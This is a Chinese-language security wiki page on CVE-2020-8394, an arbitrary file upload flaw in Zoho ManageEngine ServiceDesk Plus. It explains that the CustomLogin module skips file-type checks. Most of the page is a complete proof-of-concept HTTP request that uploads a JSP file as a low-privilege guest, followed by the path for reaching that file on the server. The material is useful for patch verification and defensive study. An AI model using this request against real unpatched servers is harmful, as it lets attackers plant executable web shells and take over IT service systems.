menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right --Vulnerability-main chevron_right Zoho 任意文件上传漏洞(CVE-2020-8394).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Zoho 任意文件上传漏洞(CVE-2020-8394).md
    2.36 KB / 2021-05-21 09:14:38
        # Zoho 任意文件上传漏洞(CVE-2020-8394)
    
    Zoho企业的产品 Zoho ManageEngine ServiceDesk Plus 是一套IT互联网服务管理软件,拥有资产管理、采购管理、合同管理等功能模块,提供一流的IT支持服务。
    
    ServiceDesk Plus10.0 build 10012之前的版本产品存在任意文件上传漏洞。具体来说,SDJSPClasses.jar包的FileAttachment_jsp.class仅检查module参数为“SSP”、“DashBoard”、“HomePage”时的上传文件类型,而未检查module参数为“CustomLogin”时的上传文件类型,导致恶意分子采用低权限guest用户即能上传、并任意访问jsp类可执行命令的脚本文件。
    
    用 Burp Suite 捕获低权限guest用户的cookie信息和数据包,以便开展后续POC的构建工作。
    
    **PoC:**
    
    ```
    POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1
    Host: 192.168.6.135:8081
    Content-Length: 366
    Accept: */*
    Origin: http://192.168.6.135:8081
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
    Content-Type: multipart/form-data; boundary=----aaa
    Referer: http://192.168.6.135:8081/DashBoard.do
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,vi;q=0.8
    Cookie: sdpcsrfcookie=bd678a1d-28b9-4eae-9d5d-f3a7e6f0bd88; servicedeskplus-_zldp=LsfUh%2FKeku9L3s3nPEJp8WNr%2BtCatkARgcAlZRum6ctL03zZZshSooiaABpQbhelmKwM1K1ctjo%3D; servicedeskplus-_zldt=01bc454f-6f2a-492e-889a-6d6b6ffde97d-2; SDPSESSIONID=B7BB216915E8FB5476DA8774161B9474; JSESSIONID=A7BEE85ED00E1AD81BB9E8081BA49D7D; JSESSIONIDSSO=601A38BD1F283CA55D289D78564E09CA
    Connection: close
    
    ------aaa
    Content-Disposition: form-data; name="sspsetup"
    Attach
    ------aaa
    Content-Disposition: form-data; name="module"
    CustomLogin
    ------aaa
    Content-Disposition: form-data; name="filePath"; filename="test.jsp"
    Content-Type: text/html
    
    This is shell content
    
    ------aaa
    Content-Disposition: form-data; name="hmtlcontent"
    
    ------aaa--
    ```
    
    分析可知,访问拥有文件上传功能的核心代码,设置 module 参数为 “CustomLogin”,在内容栏设置test.jsp文件的内容是 “This is shell content”。
    
    重新启动服务后,直接访问脚本文件。例如http://192.168.6.135:8081/custom/login/test.jsp
    
    ![](media/16096800057039/16096800318408.jpg)
    
    
    from:https://mp.weixin.qq.com/s/yDGINcg5R8DitXtWX4v22Q
    
    links
    file_download